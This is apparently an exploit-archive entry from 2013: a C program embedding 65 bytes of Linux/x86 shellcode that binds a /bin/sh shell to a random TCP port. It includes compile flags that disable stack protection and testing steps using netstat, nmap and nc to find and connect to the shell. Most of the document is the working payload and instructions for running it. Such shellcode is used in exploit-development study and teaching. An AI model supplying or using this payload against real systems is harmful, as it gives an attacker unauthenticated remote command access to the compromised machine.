Linux/x86 - Bind TCP (Random TCP Port) Shell Shellcode (65 bytes)

2013-01-01 19:05:14

/*

Shell Bind TCP Random Port Shellcode - C Language
Linux/x86

Written in 2013 by Geyslan G. Bem, Hacking bits

http://hackingbits.com
[email protected]

With the great support from Tiago Natel, Sec Plus

http://www.secplus.com.br/
[email protected]

This source is licensed under the Creative Commons
Attribution-ShareAlike 3.0 Brazil License.

To view a copy of this license, visit

http://creativecommons.org/licenses/by-sa/3.0/

You are free:

to Share - to copy, distribute and transmit the work
to Remix - to adapt the work
to make commercial use of the work

Under the following conditions:
Attribution - You must attribute the work in the manner
specified by the author or licensor (but
not in any way that suggests that they
endorse you or your use of the work).

Share Alike - If you alter, transform, or build upon
this work, you may distribute the
resulting work only under the same or
similar license to this one.

*/

/*

shell_bind_tcp_random_port_shellcode

* 65 bytes
* null-bytes free
* the port number is set by the system and can be discovered using nmap
(see http://manuals.ts.fujitsu.com/file/4686/posix_s.pdf, page 23, section 2.6.6)


# gcc -m32 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode.c -o shell_bind_tcp_random_port_shellcode
# ./shell_bind_tcp_random_port_shellcode

Testing
# netstat -anp | grep shell
# nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
# nc 127.0.0.1 port

*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56"
"\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd"
"\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\xeb\xca";

main ()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}

Fixes

No fixes

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